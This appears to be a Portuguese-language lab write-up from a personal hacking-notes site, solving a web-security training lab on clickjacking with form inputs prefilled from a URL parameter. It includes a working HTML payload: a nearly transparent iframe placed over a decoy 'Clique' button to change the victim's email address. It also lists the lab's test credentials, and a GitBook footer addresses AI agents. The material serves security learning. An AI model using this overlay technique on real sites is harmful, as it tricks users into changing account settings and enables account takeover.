> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# Clickjacking com Campos de Formulário Pré-Preenchidos via Parâmetro de URL

### Clickjacking com dados de entrada de formulário pré-preenchidos a partir de um parâmetro de URL

Altere o endereço de e-mail de um usuário aproveitando um formulário na página da conta que aceita um `email` parâmetro na URL. O ataque consiste em exibir a página-alvo em um `iframe` (quase invisível) e incentivando a vítima a clicar em um elemento falso "Clique aqui". O laboratório é resolvido quando o e-mail da conta tiver sido alterado.

#### Credenciais fornecidas

* Usuário: `wiener`
* Senha: `peter`
* A página de gerenciamento da conta usa um token CSRF, mas esse token é processado na mesma página — ele não impede uma atualização se o formulário for enviado de dentro do `iframe` carregado a partir do domínio-alvo.

<figure><img src="/files/dffa7aeec08fb86b1fa5c8e98fa8e4f3384f4a13" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c02717e00e75bac61c2e5a2305c044cfc7aa6a4c" alt=""><figcaption></figcaption></figure>

* É possível pré-preencher o campo de e-mail passando `?email=<valor>` na URL da `/my-account` página. Exemplo: `?email=jordan@test.com`.

<figure><img src="/files/506f2667c7d19013db2ac9bd23c765c7a4f8127f" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/b92f5be92ff9de9c073cc37eca436060df282530" alt=""><figcaption></figcaption></figure>

1. Carregue a página da conta vulnerável em um `iframe` ao adicionar o `email` parâmetro com o endereço que você deseja impor.
2. Torne o `iframe` quase invisível (baixa opacidade ou posicionamento) para sobrepor um elemento de gatilho visível na página de ataque.
3. Coloque um falso botão/rótulo "Clique" que a vítima vai clicar e que corresponda espacialmente ao verdadeiro botão "Atualizar e-mail" em `iframe`.
4. Quando a vítima clicar, o clique será realmente repassado ao botão do formulário em `iframe` e enviará o formulário com o e-mail pré-preenchido.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Clique</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/61347343f9961b73baf31aa638a27b41a4a56d85" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
